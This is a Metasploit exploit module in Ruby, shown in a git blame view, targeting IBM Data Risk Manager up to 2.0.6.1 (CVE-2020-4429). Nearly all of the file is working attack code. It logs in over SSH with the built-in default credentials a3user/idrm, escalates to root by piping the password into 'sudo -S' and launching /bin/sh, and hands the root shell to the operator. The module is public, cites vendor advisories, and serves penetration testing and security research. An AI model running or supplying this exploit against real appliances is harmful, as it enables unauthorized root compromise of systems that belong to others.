Files
metasploit-gs/modules/exploits/linux/ssh/ibm_drm_a3user.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

133 lines
4.3 KiB
Ruby
Raw Normal View History

2020-04-22 12:17:34 +07:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
2020-04-24 10:23:13 +07:00
def initialize(info = {})
super(
update_info(
info,
2020-05-05 10:16:46 +07:00
'Name' => 'IBM Data Risk Manager a3user Default Password',
2020-04-24 10:23:13 +07:00
'Description' => %q{
2020-05-05 10:16:46 +07:00
This module abuses a known default password in IBM Data Risk Manager. The 'a3user'
has the default password 'idrm' and allows an attacker to log in to the virtual appliance
via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.
2020-06-26 11:28:21 +07:00
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.
Versions <= 2.0.6.1 are confirmed to be vulnerable.
2020-04-22 12:17:34 +07:00
},
2020-04-24 10:23:13 +07:00
'License' => MSF_LICENSE,
2021-08-27 17:15:33 +01:00
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'CVE', '2020-4429' ], # insecure default password
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],
[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/']
],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
2020-04-24 10:23:13 +07:00
'Platform' => 'unix',
'Arch' => ARCH_CMD,
2021-08-27 17:15:33 +01:00
'Targets' => [
[ 'IBM Data Risk Manager <= 2.0.6.1', {} ]
],
2020-04-24 10:23:13 +07:00
'Privileged' => true,
'DefaultTarget' => 0,
2022-04-18 19:34:49 +02:00
'DisclosureDate' => '2020-04-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
2020-04-24 10:23:13 +07:00
)
)
2020-04-22 12:17:34 +07:00
register_options(
[
Opt::RPORT(22),
2020-04-24 10:23:13 +07:00
OptString.new('USERNAME', [true, 'Username to login with', 'a3user']),
2020-05-05 10:16:46 +07:00
OptString.new('PASSWORD', [true, 'Password to login with', 'idrm'])
]
2020-04-22 12:17:34 +07:00
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def on_new_session(client)
2020-05-05 10:16:46 +07:00
print_status("#{peer} - Escalating privileges to root, please wait a few seconds...")
2020-04-22 12:17:34 +07:00
# easiest way I found to get passwordless root, not sure if there's a shorter command
client.shell_command_token("echo #{datastore['PASSWORD']} | sudo -S 'echo 2>/dev/null'; sudo /bin/sh")
2020-05-05 10:16:46 +07:00
print_good("#{peer} - Done, enjoy your root shell!")
2020-04-22 12:17:34 +07:00
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
2020-05-05 10:16:46 +07:00
def peer
"#{rhost}:#{rport}"
end
2020-04-22 12:17:34 +07:00
def do_login(user, pass)
2022-04-18 19:30:43 +02:00
opts = ssh_client_defaults.merge({
2020-04-24 10:23:13 +07:00
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
2022-04-18 19:30:43 +02:00
password: pass
})
2020-04-22 12:17:34 +07:00
2020-04-24 10:23:13 +07:00
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
2020-04-22 12:17:34 +07:00
begin
2020-05-05 10:16:46 +07:00
ssh =
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, user, opts)
end
2020-04-22 12:17:34 +07:00
rescue Rex::ConnectionError
2020-05-05 10:16:46 +07:00
fail_with(Failure::Unknown, "#{peer} SSH - Connection error")
2020-04-22 12:17:34 +07:00
rescue Net::SSH::Disconnect, ::EOFError
2020-05-05 10:16:46 +07:00
fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")
2020-04-22 12:17:34 +07:00
rescue ::Timeout::Error
2020-05-05 10:16:46 +07:00
fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")
2020-04-22 12:17:34 +07:00
rescue Net::SSH::AuthenticationFailed
2020-05-05 10:16:46 +07:00
fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")
2020-04-22 12:17:34 +07:00
rescue Net::SSH::Exception => e
2020-05-05 10:16:46 +07:00
fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")
2020-04-22 12:17:34 +07:00
end
2020-05-05 10:16:46 +07:00
return Net::SSH::CommandStream.new(ssh) if ssh
2020-04-22 12:17:34 +07:00
2020-05-05 10:16:46 +07:00
nil
2020-04-22 12:17:34 +07:00
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
2020-05-05 10:16:46 +07:00
print_status("#{peer} - Attempting to log in to the IBM Data Risk Manager appliance...")
2020-04-22 12:17:34 +07:00
conn = do_login(user, pass)
if conn
2020-05-05 10:16:46 +07:00
print_good("#{peer} - Login successful (#{user}:#{pass})")
2020-04-22 12:17:34 +07:00
handler(conn.lsock)
end
end
end